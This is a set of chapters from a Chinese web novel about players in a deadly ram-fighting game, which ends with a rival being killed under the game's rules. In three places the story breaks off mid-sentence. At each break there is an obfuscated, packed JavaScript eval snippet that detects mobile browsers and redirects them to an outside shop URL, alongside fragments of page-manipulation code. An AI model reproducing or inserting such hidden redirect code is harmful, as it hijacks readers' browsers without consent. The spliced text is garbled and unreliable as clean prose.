此刻,在小小缰绳的牵引之下,他却只能四肢着地,奋力挣扎却徒劳,待宰羔羊一般任人驱使。 “隐藏斗羊,白羊王?奖励更大?你小子一开始就在玩阴的!”大块头的关注点与众不同,始终集中在玩家之间的内斗上。 白深一言不发,双手握缰绳,手臂肌肉鼓起,脖颈青筋凸出,控制住白羊王并没有想象中容易。 10. 斗羊大赛(9) 公屏出现提示: 【所有玩家已经抽签完毕,请各位玩家激活斗羊,按照抽签顺序跨入比赛区域,正式开始比赛。】 【规则说明:倒计时结束时,斗羊人须松开手中缰绳,斗羊即刻进入攻击状态。 1.此刻缰绳另一端连在羊角,斗羊人与斗羊共享痛感。 2.此刻斗羊人将缰绳从羊角端彻底解下,斗羊人与斗羊失去痛感连接。斗羊成为自由羊,按照自己的意志进行进攻。 3.(隐藏)白羊王始终拥有自身意志,强度由绑定人的意志强度决定。】 “羊……拥有自由意志干什么?”中学生托腮思索。 “人类就真的拥有自由意志吗?哈哈哈哈哈……”白羊王笑得壮烈,“你们与我们又有什么本质区别?自负、可笑!” “别管什么虚头巴脑的意志不意志了,”金乐儿皱眉看着规则,“我教大家的栓住羊角的方式,可是打死结啊!!!除非会打又牢固又好解的活结,否则进攻那一刻根本解不开!” “这条规则……没什么用。”丁卯托腮,“唯一作用就是失去痛感连接。也许……设计者是想让我们切身体会斗羊比赛中斗羊的感受。” “不让斗羊相撞就不会痛!那农村小子不是教了牵拉方法吗?该输掉的一方一定要让羊不战而退!” “对。撞起来两个人都要痛。” 玩家们最终得出结论:虚惊一场。 真正面临高危风险的,只有云真真一个人。 用无角羊对战拥有自身意志的白羊王……超出了预计。她并没有十拿九稳的把握。 “按原计划进行,别再想像以往那样耍花样。”白深似乎看穿云真真正在盘算,把缰绳勒得更紧,白羊王的头不得不随之扭向一侧,“云真真,别当坏一锅粥的东西,确保全员存活。” “只要你按合约付钱。”被指挥官单独拎出来架在火上烤,云真真不得不先答应着。 只是偷偷掰了掰羊角,又没造成任何实质性影响。白深却说自己“像以往那样”。 当目光移向正偷偷观察自己的朱柔,云真真立刻心如明镜。 昨晚,他们两人同在一顶帐篷里;今天,他对自己可怜的一点信任烟消云散。 比赛区域位于石羊广场,是一个直径大约10米左右的圆形区域。场地旁边摆着一个未来科技十足感的银色方形箱子,箱子上放着一把巨大的黑色剪刀。 按照大屏幕提示,云真真和王制片作为第一组对决选手,分别牵着羊站上圆形两端。 30秒倒计时赫然出现在公屏,个人面板同时亮起,弹出选择框: 【当前您对斗羊的控制率为100% 请选择您绑定斗羊的攻击力:0%50%100%】 原来如此,这就是所谓的博弈斗争!看似斗羊,实则是在……斗人。 如果我选择0%,王制片选择50%或是100%,就能不战而退,同时不用体验痛感。 然而,假设我选择100%的攻击力,王制片觉得我会选择0%,从而选择50%,那么我大概率会赢得比赛,提前获得羊角。 所有过程中,一旦有一个人脱节,整个严密的计划链条会随之松动,乃至解体。 真正要博的,还有个体利益与集体利益。 倒计时的最后一秒结束,云真真松开缰绳。 小花羊和王制片的小黑羊同时扬起蹄,向对方冲过去。 接近圆心处,小花羊突然掉过头返回云真真身边。 云真真如约选择0攻击力,把所有风险转嫁于自己的同时,开了个好头。 【第一轮比赛结果:6号玩家胜。请割下12号玩家绑定羊的羊角。 第二轮比赛由6号玩家对阵2号玩家。】 【注意:游戏全部结束之后统一清算羊角,在此之前请各位玩家保管好已获得羊角。】 王制片嘻嘻笑着,拿起黑色大剪刀咔嚓咔嚓两下,轻而易举剪断了两只羊角。过程中,他一直用得意而戏谑的目光瞟着云真真,仿佛剪掉的是她身体的某个部分。 云真真低头轻轻安抚失去双角的小花羊。小羊虽然光秃秃的,神色却很平静,似乎感觉不到疼痛。 白羊王挣扎着,笑得令人毛骨悚然:“羊角是角质角,所以被打孔、被刨磨、被割下,不痛对吧?人类的骨头也同样没有痛觉!” “闭嘴!”白深加力拉紧缰绳。 “闭嘴?我族类原本食草温顺,生而自由,你们驯化我们,吃我们的肉、喝我们的血,这还不够,你们甚至发明出游戏,让我们自相残杀,只为取乐……”白羊王咆哮着。 “我们也不过是自然链条中的一环。”丁卯忍不住插嘴。 “说得轻巧……你们想没想过,那些撞得头骨碎裂、被残忍杀害的每一只羊?”白羊王痛苦地甩着硕大的头颅。 “知道角斗士吗?人类也有这样的勇士,成王败寇”话语之间,大块头已成功赢下王制片,此刻红光满面,斗志昂扬,仿佛置身于角斗场排山倒海的掌声中,昂首等着下一位参赛者——金乐儿。 “红色,是血的颜色,男人的颜色!”大块头握住斗羊硕大的红色羊角,心潮澎湃,眼眶里泛起红色,“是生命力、攻击力和激情!” “哟,你这是被星座洗脑了吧?给你讲个故事啊,话说有个人觉得自己是白羊座,就按照白羊座的性格活了大半辈子。有天突然发现星座该按照阳历算,自己是个金牛座……”金乐儿吊儿郎当站在对面,晃着头歪嘴笑,“冷静啊男人,别忘了,你一会儿要选择的攻击力是0%。真撞上了,会很痛。” “你也不用太高,50%就够了。”大块头似乎沐浴着角斗场的风,眼中的红色逐渐加深。 大块头过于亢奋,丁卯引起警觉:“他有被副本【同化】的风险。这样的案例还不多,彻底【同化】之后的影响还不清楚……” 言外之意你有点想看?稍有良心的玩家都为金乐儿捏了一把汗,更为自己捏了两把汗。毕竟大家是一条绳上的蚂蚱。 两只羊分别站上出发点。 金乐儿的羊普普通通,安静温顺。大块头的羊体型最大,奋蹄待发。 3、2、1……倒计时结束瞬间,两只斗羊全速相向跃出,扬起阵阵浮土。 中学生甚至没算出相向而行的相遇时间,圆心处爆发出“嘭”一声沉闷而厚重的撞击声响。 显然,红角羊使出了100%攻击力。 中学生紧紧捂住眼睛,不敢再算;丁卯连连摇头,斥责大块头没有契约精神。 两只羊同时栽倒在场地中心,生死未卜。痛感同步到两个斗羊人身上。 金乐儿双手抱头,龇牙咧嘴,踉踉跄跄地走向小羊,强撑喊道:“起来!站起来你就赢了!” 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284381|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块头直接摔在地上打起滚。 “痛吗?这不及我族遭受的亿万分之一!”白羊王低吼着,“细细品尝……” 金乐儿紧紧咬着牙齿,跌跌撞撞地试图将小羊拉起来:“这局我必须赢!一次不行,还有第二次!” “还能忍受吗?不行就把缰绳解下来。”云真真朝着金乐儿喊。 解下缰绳,玩家会失去斗羊控制权,但疼痛就可以不再同步。 “这点小痛算什么!你乐爷爷赢不了,梁山县尽管把我除籍!”金乐儿眼中闪着坚毅的光芒,一向吊儿郎当的他难得露出这类神色。 大块头哀嚎着,连滚带爬摸到红角羊旁边,哆哆嗦嗦解下羊角端缰绳。 他的个人面板显示为公屏: 【您对斗羊的控制率为0% 您绑定的斗羊自行选择的攻击力为:0%】 胜负已分。 金乐儿举着刚割下来的一对大红羊角绕场一周。 经过大块头时,刻意停下脚步:“现在,乐爷爷终于可以给你上一课了,听好了啊!羊角涂红,代表威武、雄壮……个屁?那是被选成种羊的斗羊!哈哈哈……早就被掏干啦……别看它块头那么大,其实是外强中干啊!” 云真真:现在才说出真相,确实难为你憋这么久! 大块头感觉被一语双关了,却碍于太阳穴残留的隐痛,发作不出来,憋得肚子圆了两圈。 有了前车之鉴,接下去的比赛进行得异常顺利。 “对战顺序安排得不错。”丁卯对着云真真点头,“把人心的变量也考虑进去了。你安排的,还是白深安排的?” 云真真向白深的方向扬起下巴:“那位公子哥的主意。” 丁卯翻开笔记本:“我准备把他推荐进研究所,是个游戏的好苗子!” 实际上,关于人性的排列组合,是云真真的长项,顺序是她排的,只是她暂时还不愿露出锋芒。 比赛一轮一轮顺利开展。除最后上场的白深和云真真之外,其余玩家已经人手一副羊角,提前享受起胜利的喜悦。 此时,一阵撕心裂肺的痛苦低吼打破祥和的氛围,震得众人耳膜嗡嗡响。 白深的右手虎口,已经被缰绳勒出深深的一道血痕,汗水打湿了质感颇佳的白衬衫。 公共屏幕上,提示字体变为赤红色,加粗滚动显示: 【3号玩家对白羊王的控制率为80% 3号玩家对白羊王的控制率为70% 3号玩家对白羊王的控制率为85% ……】 白深与白羊王显然在进行着意志与体力的双重激烈较量。 “快点快点,台上的别春游了,白羊王一失控,很大概率团灭!”金乐儿见状有些着急。 丁卯刷刷地写下情况:“万一死了,院里还能知道死因……” “我们都有羊角了,现在交上去舒舒服服看热闹……看比赛多好!在哪里清算啊?”王制片怀揣着一对羊角,左顾右盼地找着。 “规则里说过,游戏全部结束之后统一清算羊角。”丁卯白了他一眼。 同在一条绳上,却总有几只烂蚂蚱。 终于轮到白深上场。他紧锁双眉,手臂颤抖着将试图挣脱的白羊王拉到场边。掌心渗出的鲜血,染红了缰绳。 上一场比赛的胜利者朱柔缩着肩膀站在对面,一双细长的腿微微打颤。 11. 斗羊大赛(10) 对于朱柔而言,输掉比赛即为成功。 理应像吃饭喝水一样简单。 但迫于白羊王的威慑力和不确定性,她对待王风时表现出来的大胆和决绝荡然无存。 倒计时跳到0。 “朱柔,拉开羊角端缰绳!”白深果断选择0%攻击力。 朱柔轻轻一拉,羊角端的缰绳轻轻松松脱落了。 心疼她同步痛感?活结的打法居然教给了她! 白深受过专业训练,自然会打又牢固又易解的活结。他考虑到痛感同步能制约玩家,所以只将这个技巧告诉了云真真,同时命令她保密。 没有保密的是他自己。 还选择0%攻击力?就不怕白羊王使诈,故意输掉比赛?你死就算了,我还要和朱柔对打一场! 救所有人……意味着坏人也包括在内。 云真真暗暗吐槽的时候,白羊王已经带着自身意志,离弦之箭一般飞冲出去。 朱柔的斗羊没跑到圆心处便已掉头,选择不再进攻。 然而白羊王怒吼着穿越圆心,从后方猛烈地撞击上小羊。 震耳欲聋的撞击声消散之后,小羊倒卧在地,四角朝天,正经历着最后的抽搐,头部已被鲜血染成一片猩红。 “看来……你也不是真心怜爱个体,心疼每一只小羊。”云真真讽刺道。 “世界已经烂成这个样子了……不如毁灭掉重来!”白羊王侧头,眼中燃起火焰。 “别废话,快上场!我快控制不住了!”白深迅速把割好的羊角揣在腰间,将缰绳从血肉模糊的掌心上拿下来,紧紧缠回小臂。 白羊王双眼赤红,鼻息厚重,抗拒挣扎,看上去会彻底失控。 金乐儿朝着白深大喊:“控制好白羊王!把绳子往下拉,让他低头……” 其实大家心里都清楚,技术指导在此刻毫无用处。只能把怀中的救命羊角裹得再紧一些,其他的事,听天由命。 云真真指尖轻触着小花羊断角处,闲庭信步地牵走到场地边,神色平静得吓人。 一阵春风扬起她的发丝,洁白裙角随之飘动,俨然一幅莫奈风格的牧羊女放牧图(女鬼版)。 “这闺女,模样还挺漂亮的……”老妇人不禁开始叹气,“哎……” 独善其身的玩家们终于有了闲心关心起天下:只有云真真一个人还没有得到羊角。她要用一只战斗过一轮的无角羊,对阵狂暴状态的白羊王。啧啧。 【最终轮比赛现在开始! 无角羊对阵白羊王! 公屏将同步播放两位斗羊人个人面板!】 大屏幕一番流光溢彩特效之后,血红色的30秒倒计时赫然在目,一跳一跳,与心脏的节奏同步。 “目前我的控制率只有60%。经过上场战斗测试,如果我选择0攻击力,白羊王会选择100%,加权过后约为40%。我会尽全力控制。”白深声音低沉,由于持续用力制衡白羊王而带着几分颤抖。 白羊王的双眼燃烧着赤炎,鼻孔中喷出一股股热气,两只硕大的角反射出金属冷光,蹄子躁动地踏着草地,整个地面随之隆隆震动着。 力量悬殊,毫无胜算。 倒计时跳到5秒时,中学生和老妇人同时捂住双眼。 公屏刷新了云真真的操作面板: 【您选择的斗羊的攻击力0%。】 同时,右下角的红色按钮【同步】被按下。 【12号玩家选择与斗羊同步! 当前您对斗羊的控制率为∞!人羊合一状态达成! 您的神经系统、整具躯体已与绑定斗羊同步。】 “她这是看毫无胜算,想自杀?”朱柔兴奋地喊出了声音。 之前比赛中,玩家们都认为这个按钮纯属虚设。连疼痛都不愿意同步,谁还愿意化身为羊,与羊同生共死? “用缰绳等外力控制小羊,能控制住的只有躯体。”丁卯手心渐渐潮湿起来,“彻底的控制,是精神控制。成为它,感受它,与它融为一体。这大概就是白羊座第一宫——自我诞生的过程。只不过,这样做风险未免太高了。” 云真真仍站在原地,视野却开始巨变。周围景物低矮晃动,蓝天、白云与绿草地失去鲜亮的颜色,蒙上一片灰暗,青草气息、泥土气息却被无限放大。 原来羊是色盲啊。倒计时跳到0时,云真真却想着与性命毫不相干的事。 两只斗羊同时向圆心疾驰而去:一只猛兽,一只猎物;一只巨大,一只瘦小;一只暴烈,一只柔顺,电光火石之间,将要在圆心处相撞。 “什么?”耳边并未传来震耳欲聋的撞击声。初中生睁开双眼,只见两只羊已越过圆心,由相向运动变成相背运动,却都毫发无伤。 “这是先相向后相背的相遇问题!”学生身份立刻上线。 “漂亮!”金乐儿用力拍着手,“小花从他肚子下面钻过去了!!” 原本作为优势的“巨大”此刻却成了短板。 放眼动物界,王冠终究还得戴在人类头上,毕竟使诈是人类独有的特征。 小花羊体型小,惯性小,轻巧灵活地调转了头,转身向减速中的白羊王全速冲去,相向运动再次转化为追击运动。 “拉开羊角端缰绳!”小花羊张开嘴,吐出的却是云真真的声音。 白深意会,迎头追上白羊王,瞬间拉散羊角端活结,缰绳掉落在草地上。 顷刻之间,小花羊再次敏捷地从白羊王肚皮之下穿了出来。追击相遇后又做起超越运动。 速度较大的小花羊在相遇过后,头顶一片鲜红,还挂着一些黄白相间的组织。 白羊王在身后轰然倒地。庞大的身躯砸在草坪上,发出震耳欲聋的声响,鲜血四溅,尘土飞扬。 玩家们小心翼翼地凑近观看:白羊王侧躺着,腹部被划出两道平行而又长又深的口子,内脏组织与鲜血正汩汩外流。 白羊王的眼中赤红色褪去,陷入死一般的黑色。 “赢了!你是怎么做到的?”“牛啊,全员存活!” 几个玩家欢呼庆祝起来。却很快被告知,香槟开在了半场。 白羊王诈尸了!他爆发一声怒吼,剧烈地挣扎起来。 它那染满鲜血的后蹄在虚空中疯狂蹬踹,仿佛要撕裂空气。随着它的动作,周围下起了一场小范围的腥风血雨,空气中弥漫着浓重的血腥味。 白深迅速把缰绳拿到羊角边,准备穿过去再次控制他。 “不用。别再控制它了。这一刻,他是他自己。”云真真和小花羊同时张嘴。 白羊王挣扎着,刚勉强站稳,便又无力地跪倒在地。站起来、又跪下,腹内组织汩汩外流却浑然不觉。 第五次重重地摔回地面时,白羊王终于耗尽了所有的力量,再也无法重新站起来了。 他的双眼,曾经闪烁着炽热的赤红色,或沉寂着深邃如夜的漆黑,此刻彻底闭上,永远沉入无尽的黑暗。 公屏燃放起噼里啪啦的巨大烟花: 【最终轮比赛结果:12号玩家胜。请割下3号玩家绑定羊【白羊王】的羊角。】 云真真这才放心地解除同步状态,用几片树叶仔细清理干净小花羊的断角,时不时轻抚它的头。 “啧啧啧,真不错啊,你这打磨手艺!”金乐儿摸小花羊的残角,“比手术刀片还锋利”。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284382|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 云真真比出剪刀手,拎起大剪刀小心翼翼对准白羊王那对雄壮的角。 她轻轻地、一点一点地剪下去,仿佛在进行一项精细的工艺活。 牛羊的角,驴马的蹄,没有神经痛觉,修剪凿磨,它们不会感觉到痛。 因此,在比赛的间隙,她才能够悄无声息地将断裂的羊角打磨成两把锋利的尖刀。使用的主要工具,是从活动室里顺出的那把刀。 手起刀落。两只巨大羊角终于被斩落。 云真真环抱着两只硕大的羊角,努力腾出手来擦去脸上的血渍,终于露出一抹血红的笑容。 总感觉还有一道冰凉的目光照射着自己。 云真真主动迎上目光,带着一丝挑衅:“计划完成,全员存活,皆大欢喜了。” 还有什么不满意的? “你……取胜的方式不在计划之内。从未跟我商量过。”白深皱起眉头。 原定的无角羊对阵白羊王计划,由我主导一切。 如果我也选择与白羊王同步,开膛破腹结束在这里的,可就不只是白羊王一个了。 “结果是好的对吧?”云真真眼光转向半藏在他身后的朱柔,“你也没有完全遵循计划。比如羊角端打复杂活结的手法,我认为应该只有我们两人知道。” “你……毫无同理心。”白深抛出轻蔑的眼神。 “确保所有人存活就是你的同理心?那你也没有完成啊,林国庆老人开始就死了。”云真真知道什么点让人最痛。 “哎呀,真真,你这的坟头花,好像又鲜艳了几分?”金乐儿见气氛又开始不对头,忙着打哈哈调节,“游戏都结束了,怎么还在争斗?” “还没彻底结束呢!”云真真扬起脸阴险一笑。 气氛在金乐儿的调节之下似乎更差了。 【恭喜各位玩家!10分钟之内,将通关必需物品【羊角一对】放入暗箱中清算,即可通关游戏。通关后可从公园正门离开游戏。期待下次相见!】 初中生飞快跑到暗箱前面,率先拉开盖子。 箱内闪烁着奇异的光芒,流转扭曲,雾气迷蒙,像虚空宇宙中的某个部分。 初中生把羊角往下一丢,并没有传出撞击箱体的声响。羊角被吞没了。 【恭喜7号玩家通关白羊座副本3!】 “我要回家了!回家写作业了!!相遇问题、追击问题,我理解得更深刻了!”初中生朝着门口欢快地跑去,如同一只快乐的小鸟。 “别忘了调出个人面板,通关之后有道具奖励,下一次游戏可能会用——得——上!”金乐儿把双手做成喇叭形状,朝着少年的背影热心地喊。 “没看出来,你人还怪好的嘞!”云真真朝着金乐儿挤挤眼睛,狡黠而灵动。 “嘿嘿嘿,这不,咱没条件接受高等教育嘛。那小子爱读书,希望他考个好大学,别像我一样……”金乐儿挠挠后脑勺。 玩家们争先恐后地把羊角扔进暗箱之中,长舒口气、伸着懒腰。 在暖融融的春风里,大家有说有笑走出大门,竟然呈现出些许生机勃勃的景象。 似乎不记得有人永远留在了这里。 大块头斜眼瞄着云真真怀抱的巨大羊角,不屑地哼了一声,扭头大步离去。王制片狗腿子一样屁颠屁颠跟在他身后。 【距离游戏结束还剩下5分钟,请未将【一对羊角】投入暗箱的玩家尽快投入后离开,游戏进入尾声,系统即将休眠。】 公共屏幕上跳出一条信息后彻底熄灭。倒计时随之消失。 游戏果然还没真正结束。云真真在心底轻笑一声,不动声色地观察着仅剩下的其他两人:白深和朱柔。 12. 斗羊大赛(11) 云真真抱着半人高的一对羊角,艰难而缓慢地靠近暗箱。仿佛足不出户的大家闺秀多走了两步路,就得停下歇一歇,微微娇喘一阵。 白深:你如此装腔作势所为何事? 表演,自然是有观众的。 不出所料,云真真拉开暗箱之前,观众朱柔便赶紧跑过来,迫不及待参与演出:“这对羊角太重,我帮你放进去。” 她把自己的小羊角向腋下一夹,空出双手死命拉扯住一只的大羊角。 朱柔一帮忙,云真真更费力了。她暗暗向后使力,目的很明确:阻止云真真将【一对羊角】顺利投入暗箱。 朱柔的脑子进化了?!云真真感慨着,她似乎也能摸到一些游戏意图。 斗羊比赛结束之后,玩家们都获得了羊角。 游戏却画蛇添足一般设置了倒计时上缴羊角的清算环节。 明显还在引导玩家互相争斗。 假设我投入一只羊角、朱柔投入另外一只,或者朱柔投入一对由我割下的羊角,究竟算是谁的任务物品? 已经离开副本的玩家们,都是自己投自己割下的羊角,无从验证。 白羊王已然战死,争斗精神却留存下来,此刻体现在朱柔身上。 并不陌生的剧情。 云真真嘴角微微扬起,露出一抹不易察觉的微笑。她暗暗加大力度,把羊角向前拉扯。 动作虽然看似轻松,实际上却充满了力量和技巧。经过长期泰拳陪练的洗礼,朱柔明显不是她的对手。 但朱柔毫不示弱,她的脸颊因为用力涨得通红,额头上渗出了细密的汗珠。 暗中较量的力度达到顶点那一刻,云真真猛然泄力,彻底放开两人争夺的大羊角。 由于惯性作用,朱柔的身体不由自主地向后仰去。她试图稳住中心,最终还是无法抗拒那股强大的力量,跌坐在了地上。 不关是大羊角,就连腋下紧紧夹着的一对小羊角,也随着她的跌倒一同滚落到草坪上。 “哎呀,白羊王的角就是不一样,太重了,你没摔疼吧……”云真真用夸张的语气,小碎步跑到朱柔身边,蹲下身来。 一只大羊角跌落在脚下,两只小羊角静止在稍远的地方。 “白深,赶快把你的羊角投进去,再来帮我们搭把手,实在是……太重了!”云真真扭头看着白深,语气中带着一丝焦急。“时间快到了,我不能连累了朱柔。” 白深刚刚背过身的那一刻,云真真就用空出来的一只手轻轻松松拎起那只“沉重”的大羊角,抱回怀里,抛给朱柔一个媚眼。 看……看错了?怎么可能如此轻松?朱柔的眼神瞬间发生了变化,从最初的疑惑、不解,迅速染上一层恐惧。 回想昨夜在帐篷中时,自己通过各种方式套话,试图了解白深与她合作的真正原因。然而,白深坚称她并没有什么特别之处。选择和她合作,仅仅是因为她胆子大而已。 他们两个……不会早就认识,是一伙的吧?朱柔心中突然涌起一个可怕的猜测。不可能!她又安慰自己:昨天自己说的那些话,白深好像深信不疑。 朱柔再次打量成功通关的白深,只见他步伐稳健,神情坚定,没有任何异常,是要打算帮忙的模样。 大力士云真真此时又变成了弱小姐,抱着两只羊角摇摇晃晃打着踉跄,最终停在了朱柔的小羊角边。 怀演技是否浮夸了点?无所谓啦,杀青时刻就是现在! 她从醉酒状态突然变成足球队队员,稳稳站定后扬起腿,重重开出一个大脚。 一只小羊角飞起来,在半空中飞速打转。如果在标准足球场上,这只羊角球一定跃过了中线。 朱柔一声尖叫,顾不上生疼的尾椎骨,飞速爬起来去追那只仍然在空中飞的羊角。 白深见状,火速捡起另一只小羊角,飞身去追羊角球,同时不忘向云真真时抛下一个鄙夷的目光。 云真真从容不迫地将白羊王之角投入暗箱,愉快地拍拍手。 【恭喜12号玩家过关!您用最大的勇气与力量,收割了隐藏款【白羊王】的双角!请在【物品栏】内查看您的奖励。】 个人面板自动呼出。云真真却看都不看,直接潇洒关闭。 眼前的戏显然更精彩。她双手抱胸,斜倚在暗箱上,欣赏着疯狂赛跑的两人。 “10……9……”白深以惊人的速度跑过来,身后的朱柔已经累到面目模糊。 “6……5……”在无数份或计时或计件的繁杂工作中,她早已能随心所欲地精准感受时间。 “3……2……”白深跑到暗箱前面,干脆利落地把两只小羊角投了进去。 “1……0……”朱柔在三米远的地方停住了脚步。 【游戏结束。很遗憾,2号玩家未能通关游戏。】 【亲手割下的羊角,怎能假他人之手夺走功劳!】 【白羊座是黄道十二宫的第一个宫位,象征着人从混沌宇宙中分离出来,成为一个独立个体。“自我”永远要排在首位哦!】 【很遗憾,失败的玩家化作流星,咻~】 朱柔失魂落魄地跌坐在地上,一双愤怒而恐惧的眼睛盯住云真真:“你……怎么能……” “在你的计划中,此刻坐在地上的应该是我吧?”云真真眯起眼睛俯视着她,语调轻快,带着嘲讽意味的小嘴巴与彼岸花一样红,“朱——凌——同——学!” 朱柔瞳孔猛然收缩,疑问的话永远哽在了喉咙里。 为什么?她早就认出了自己是朱凌?不可能!整容手术明明很成功…… 思想骤然停止。 下一秒,一道激光从头顶方向射下来,如一把材质不明的利剑,极速射穿朱柔的头颅。 烤糊的、烧猪毛一般的气味弥漫开来。 云真真眯起眼长舒一口气,拍拍手、掸掸裙子,仿佛打扫卫生之后拂去沾染的污秽之物。 “你……利用游戏规则故意害人,用心险恶。”白深轻轻合上朱柔残存着恐惧的双眼,随后拣选出一根粗树枝挖起土,准备就地埋葬。 “我想请问……道德审查委员会是您高就的单位吗?未知全貌,别乱评价。”云真真双臂抱胸,伸出脚尖将朱柔的右小腿扒拉到一旁,救起一朵被压住的白色小野花。 “如果我知道全貌呢?你这是在和我作对。”白深将朱柔拖进坑里。 “想害死我的人又不是你,我和你作对干什么?自恋!你这人真奇怪,想救所有人,却对他们毫无感情。这是一种虚伪。” 白深的动作稍稍顿住。 “别磨蹭,搞快点。你说游戏结束付我报酬,我才特意等你到最后。不然,谁还愿意看你这扑克脸!”云真真侧头欣赏起春光。 “钱你放心,我肯定会付。”白深的表情隐藏在大树投下的阴影之中,“我还有两个问题。第一,你那朵彼岸花哪里来的?第二,你刚才……对着朱柔喊出了另一个名字。你早就认出她来了?” “钱用什么方式付?”云真真只抓主要矛盾,其余一概不论。 白深同样用沉默回击,在朱柔不成型的面部铺洒一层树叶。 “拜托了大哥,您是在表演什么仪式吗?”云真真有些不耐烦,伸出大拇指和食指一拈,“埋人埋这么浅,装好人都装得不像!” “我的开户银行陷入游戏副本,一切业务都办不了。”白深站起身,低头拉平衬衫的褶皱。 “什么时候能提出来?我把账号发给你!”云真真皱眉,摸出手机翻账号。 身处游戏,手机依然是砖头一块,按什么界面都没反应。 两人只好沉默着,一前一后走出公园。 话不投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284383|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,一个标点符号都嫌多。 刚踏出大门口,世界被按下“关灯”按钮,明亮骤然变成黑暗。 “怎么才过了三个小时?”云真真看着旧手机显示的时间。 “时间流速不一样。”白深也拿出手机,居然不是最新型号。 寒风袭来,云真真边原地小跑取暖,边告诉白深自己的电话号码:“你打我存。” 寂静无声的黑夜被喜庆的铃声划破。 “财神到,财神到,好心得好报……财神话财神话,揾钱依正路……” 白深嘴角微动,最终选择用沉默代替所有的回答。 存下手机号,在姓名栏填好“欠债人16号白深(金额XX)”之后,云真真稍稍放下了心。 想了想还是再加上一层保险:“哎,你具体住哪号楼几零几啊?”。 不及回答,却听“嚯~!”一声,一个敏捷的身影突然跳到两人面前。 “你要吓死人啊!”云真真看清那人脚上的蓝拖鞋,轻轻拍着胸口,战术性后仰。 金乐儿朝她挤了挤眼睛,嘿嘿一笑:“走,哥送你回家。” 白深用洞悉一切的眼神注视着两人,很快明白他为何出现在这里。 他是云真真的双保险。 以防自己金蝉脱壳,赖掉该付的钱。 白深轻轻摇摇头,决然转身离开,不忘丢下一句话:“银行一营业,钱就到账。” 金乐陪云真真走了一段,一直叽里呱啦说个不停。走出好长一截才想起来问:“哎,你住哪里啊?” “城中村。” “哇靠,我也住那儿!我是D区的……”金乐儿兴奋地跳了起来。 全国会分超一线、一线、二线直到十八线城市;即使是在十八线小城市,也会分城里乡下;同样,城中村也会分出个ABCD区来。 D区最差。租金也最便宜。整个城市最微不足道却又数量庞大的工蚁、工蜂,便聚集在这里。 不像白深那样的公子哥,虽然现在住在警察学校家属区,原生家庭大概率也位于别墅区。 “真真妹子,这一定就叫做缘分……”金乐儿开心得像个孩子,一路说笑着向城中村的方向走去。 经过两个臭气熏天的露天垃圾堆、一段污水造就的泥泞路,云真真的家终于到了。 是比D区还破的——连字母都不配拥有的棚户区。 在低矮破旧的小平房前面,云真真看着没心没肺的金乐儿,露出一丝丝真诚:“谢谢你。其实我吧,不算是什么好人。” “什么算是‘好人’呢?”金乐儿严肃起来,黄毛在星光之下反射着光芒,眼睛亮亮的,“亲生爹娘因为太穷,养不活刚生下不久的婴儿,把他扔在富人家门口,算是好人还是坏人呢?” 云真真思考片刻,打开吱呀作响的房门,转头留给金乐儿一个微笑:“现在,我们算是朋友了。” 回到房间,云真真一头扎进硬邦邦的小单人床上,打开游戏面板。 【白羊座副本3奖励: 1.技能点3点!(白羊王特殊奖励!平常为1点)请在【个人星盘】中查看并点亮。 2.星座道具:暴力抢夺】 技能点是什么?冒了半条命的风险,就多给2点这个东西?一看就不值钱。 云真真摇着头,直接点开道具。 【星座道具:暴力抢夺】 【作用:游戏副本中,可强行获得任意一位玩家的当前物品1件。 只可使用一次。】 【来源:白羊座副本3】 【状态:未绑定】 未绑定!那就意味着可以交易! 明天就去调查一下市场和市价…… 思考着,算计着,潮湿霉烂的空气透过鼻腔钻进脑子里,她迅速进入了深沉无梦的睡眠。 13. 黑羊之忆 “包子——馒头——”“突突突……”“咳……呸!”早餐叫卖声、摩托车行驶声和人群的喧嚣在远处若有似无。 “咚咚咚!”“咚咚咚!!”什么声音敲击着脑袋,一下比一下清晰,一下比一下重。 “咚!!!”云真真终于睁开眼,抓起手机一看,居然8:09分了! APP中一个个待办清单提醒争先恐占据屏幕,闪着血红色: 7:00,第一小学安全巡查员(假扮为XXX家长); 9:00,有声电子书配音(题材精彩,可谈更高报酬); 11:00——14:00,金融街米其林餐厅兼职(提前复习好各种食材来源与相关故事) …… 平日,她早就将这些时间表安插进脑海的生物钟之中,根本用不着闹钟。 今天……这是怎么了?是因为进入游戏太累,还是获得了一笔尚未到手的报酬,潜意识中懈怠了? 不行不行!!!离既定存款金额还有一段距离。 想到这些,云真真一个鲤鱼打挺从床上跳起来,快速选了一件起球的旧毛衣松松垮垮套上,顺手揉乱了头发。 